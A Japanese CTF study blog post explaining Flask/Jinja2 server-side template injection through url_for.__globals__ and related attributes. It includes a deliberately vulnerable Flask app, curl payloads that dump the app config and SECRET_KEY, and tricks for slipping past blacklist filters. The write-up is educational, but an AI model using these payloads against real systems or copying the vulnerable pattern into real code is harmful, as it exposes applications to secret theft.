Flask Jinja2 url_for.__globals__ などについて(pyjail)
あらまし
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
CTFでurl_for.__globals__
など(PyJail
と呼ばれているっぽい)SSTI
を使ってフラグなどにアクセスする問題があるんですが、そもそも何のためにそんな変数が用意されているのか調べました。上の記事ではこんな感じでリストアップされています。
/echo?q={{self.__dict__}}
/echo?q={{url_for.__globals__.current_app.__dict__}}
/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
#引用元: https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f
前後のアンダースコア2つ
python
に疎いのでまずアンダースコアについて調べます。
magic method
と呼ばれるものになるそう。python
自身がオブジェクトを扱う標準プロセスで使用するものだそうで、例えば演算+
をする時__add__
が呼び出される。__add__
を書き換えておけば、+
演算をしてもその変更したメソッドが呼ばれるようになる、みたいなだと思う。今回の件とどこまで関係があるかはわかりませんが。
__globals__
と__dict__
3. Data model — Python 3.9.2 documentation
こちらリンク先のCallable types
の節で、ユーザが定義する関数に生えるSpecial attributes
として__globals__
と__dict__
が紹介されてます。関数の__dict__
はよくわかりませんが(古い投稿はあった)__globals__
はその関数が定義された名前空間の変数は見えそうですね。
__globals__
val1 = 1111 val2 = 2222 def func1(): pass print(func1.__globals__) #=>{'func1': <function func1 at 0x7f6d5d3df650>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
val1 = 1111 val2 = 2222 def func1(): val3 = 3333 def func2(): pass print(func2.__globals__) func1() #=>{'func1': <function func1 at 0x7fd7972de9d0>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
import
を使って関数を読んだ場合の挙動を確認
#testmod.py def test_mod_func(): pass val3=333
#test1.py import testmod val1 = 1111 val2 = 2222 def func1(): val3 = 3333 def func2(): pass print(testmod.test_mod_func.__globals__)
実行結果
$ python test1.py | grep val1 $ python test1.py | grep val2 $ python test1.py | grep val3 ....snip... , 'test_mod_func': <function test_mod_func at 0x7f30a9b7add0>, 'val3': 333, '__name__': 'testmod', '__package__': None, '__doc__': None}
モジュールとして読み込んだ関数経由だとそのモジュール内のものしか見えないようです。
__dict__
一方__dict__
はオブジェクトに映えているようで、例えばクラスの__dict__
にはクラス内の属性が入っているらしい。
val1=1111 val2=2222 class Test(): val3=3333 a = Test() print(Test.__dict__) #=>{'val3': 3333, '__module__': '__main__', '__doc__': None} print(a.__dict__) #=>{} print(a.val3) #=>3333 print(a.__globals__)#=>AttributeError: Test instance has no attribute '__globals__'
インスタンスにすると__dict__
が空になるのはちょっとまだ追いきれていないです。。
ので、__globals__
も__dict__
も別に特別な何かというわけではないっぽい。
テンプレートエンジンとjinja2とFlaskとSSTI
CTFでよく使われるpython
のフレームワークがFlask
でそのテンプレートエンジンがjinja2
なので、これの情報ばっかり出てくる。ので、ここでもそれを参考にいたします。
次のアプリケーションを想定
from flask import Flask, render_template_string, request app = Flask(__name__) app.secret_key = 'testtest' val1=1111 @app.route('/', methods=['GET']) def index(): return render_template_string('{{'+request.args.get('ssti')+'}}') app.run(host='localhost', port=8080)
次のペイロードをみてみる
url_for.__globals__.current_app.__dict__
API — Flask Documentation (1.1.x)
url_for
はドキュメントの通り関数のようです。
$ curl 'http://localhost:8080/?ssti=url_for.__class__' <type 'function'>
と言うことで、__globals__
も生えているはず
$ curl 'http://localhost:8080/?ssti=url_for.__globals__' {'find_package': <function find_package at 0x7f44bfd50050>, '_find_package_path': <function _find_package_path at 0x7f44bfd48f50>, 'get_load_dotenv': <function get_load_dotenv at 0x7f44..............snip
映えてました。
https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app
Flask の session と g そしてコンテキスト | 民主主義に乾杯
次のcurrent_app
は直接app
にアクセスしないためにある変数のようです。ちゃんとは理解していませんが、app
が保持しているものを覗けそうです。説明を抜粋すると
This is only available when an application context is pushed. This happens automatically during requests and CLI commands. It can be controlled manually with app_context(). #引用:https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app
とあるので、今回はduring requests
の箇所に該当しそうです。url_for.__globals__
で定義されたグローバル変数を覗けるので、それ経由で呼べます。
$ curl 'http://localhost:8080/?ssti=self.current_app' #=>レスポンスなし $ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app' <Flask 'test'>
最後の__dict__
は上の方で調べた通り、オブジェクト内の属性などを保持しているらしいので、これを呼べばapp
に定義した変数などを見れそう。
$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app.__dict__' {'subdomain_matching': False, 'error_handler_spec': {None: {}}, ' ............snip................. 'DEBUG': False, 'SECRET_KEY': 'testtest', ' ............snip................. ': []}
app.secret_key = 'testtest'
ここが覗けました。フラグとか鍵とかその他設定を覗かせる問題に使えそうですね。
その他ペイロードを組み立てるなど
この記事が詳しそう Jinja2 SSTI Research - HackMD
基本的に問題では入力に対してパターンマッチなどで制限をかけてることがありそうですね。
CTFtime.org / HackIT CTF 2018 / Believer Case / Writeup
入力をGETクエリなどで受け取る場合
ブラックリストなどを作って、入力値を検証するのが良さそう。ただ
.
が禁止されているなら、url_for['__globals__']
_
が禁止されているなら、url_for['\x5f\x5fglobals\x5f\x5f']
globals
がが禁止されているなら、url_for['__\x67lobals__']
などすれば単純なチェックはすり抜けられるので、結構注意が必要
入力をパスで受け取る場合
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
上のサイトで紹介されているように、@app.route("/<path:template>")
みたいな感じで受け取る場合はurl_for['__\x67lobals__']
のようなasciiで指定するパターンでエラーが起こる(サーバエラー)ので、単純なブラックリストで対策できそう。
こんな形で、前者のパターンだとかなりいろんな方法で抜け道ができそうなので、注意かも。